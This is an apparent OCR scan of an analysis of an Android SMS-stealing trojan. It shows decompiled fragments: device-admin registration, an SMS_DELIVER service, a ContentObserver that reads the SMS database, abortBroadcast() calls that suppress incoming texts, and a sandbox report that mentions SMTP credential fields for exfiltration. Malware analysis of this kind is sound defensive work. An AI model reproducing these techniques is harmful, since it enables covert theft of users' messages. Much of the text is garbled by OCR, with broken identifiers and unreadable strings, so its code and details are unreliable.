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1. AndroidManifest.xml
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<intent-filter:>
<action android:name="androld.app.action.DEVICE ADMIN ENAELED i
</intent-filter>



2. onEnabled onDisabled

public class My&Admin
extends DeyirebddminRersiver . .

public void e
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public void
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localg.<init>();

if ((beckham.owen.util.c.a((5tring)localObjectl)) || ({(5tring)localObjectl).length() == 14))
i

localObject? = new java/lang/StringBuilder;
{({StringBuilder)localObject2).<init>{"BiE: ");
localObjectl = (String)localObjectl + "[AHIEF";

str = PhoService.a(this.a, PhoService.a(this.a));
localObject2 = localObjectl;

if (str.length() <= "BiE BEHA #A ME “.length())
{



R TR

¥

return;

Log.e("", "BEEREARNMEEER");

this.b = new Intenti{this, MainServiced 4.class);
this.b.setAction("android.provider.Telephony . SMS_DELIVER");
startService(this.b);

all;

BiYs

finishi();

break;

label233:

g.h = @;

beckham.owen.util.a.a = @;

paramIntent = MvApplication.b{).getSharedPreferences{"config"”, @).edi
paramIntent.putInt("isAdminActive"™, @);
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6.
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((beckham.owen.a.g)localObjectd).«init>();
if ((beckham.owen.util.c.a((String)localObjectl)) || (((String)localObjectl).length() == 14))

{

localObject3 = new java/lang/StringBuilder;
((5tringBuilder)localObject3).<init>("BiF: ");
((beckham.owen.a.c)localObject2).g((String)localobjectl +  FIAESEIUEENAEEER!");
{((beckham.owen.a.c)localObject2) . hi"Androidd. 4l FiRE STACSIERRAEERARE B8 EE#EEE1");

if (beckham.owen.util.a.f == "") {
caontinue;
H
if (!beckham.owen.util.a.a(beckham.owen.util.a.f)) {
7. Android

public j({ContentResolver paramContentResolver, Handler paramHandler)
i

super(paramHandler);

this.e = paramContentResclver;

this.d = paramHandler;
}

public void onChange(boolean paramBoolean)
i
Log.e("", "{hiTRIEREIEFIMyObserver MFITHonChange™);
super.onChange (paramBoolean);
Cursor localCursor = this.e.query(b.a, £, this.b, null, null};
if (localCursor != null)
i
if (c.e() = @) {
break label63;
H
if (g.d==18) {
new k(this).start();
H
H
return;
labelss:
if (c.k <= 18) {
label7l:
if (localCursor.moveToMext()) {
break label9l;

8. abortBroadcast()

if {c.c == 1) {
new 1(this).start();

Iy
if (MyApplication.e == 1) {
abortBroadcast();
H
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return;
labell99:
mIntent[i]); array0fsmsMessage[i] = SmsMessage.createFromPdu((byte[])par:
14+
break;
T

SmeMezzage localSmsMesszage = arraydfsmsMeszsage[i];
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mull. if w £
continue:
|
e AT |
try
Object localObject3 = ((Cursor)localObject2).getString(((Cursor)locallfbject?).getColumnIndex( "dzs
sleep(B0@8L) ;

locala.al(5tring)localObject3, this.a.a);
1++}
localObject3 = new java/lang/StringBuilder;
(({StringBuilder)localObject3).<init»("EiEE");
Log.e("". i + "SiE{Z").
continue
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continue

if

continue

- wf "ERERRFREEEE "R

return
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11. APT



e - Android 4.4 BEHRA - android
FHamIE 2017-07-09 16:34:32 R - 2017-07-09 16:37:54
o IEEEUR [2]
> BHRNEE mrmm khhhk
> RAEEARREEERER mres whkkhk
o EFATIAN [3]

v SERUSMTPES TRERAMEEE mrss A hhn

- -Exom- 1~-228182 cu.To- ----4189 co_vsernama: ---8182 on_vassword:
> SASIFPEE prEs whkhk

> SASARESREE fArem ek

» ERI (3]

> SHAEMSANEE farEs Ahhhk
> SHARMSEUERR mrsm khkhk
> WFEEFANSEIR  mree
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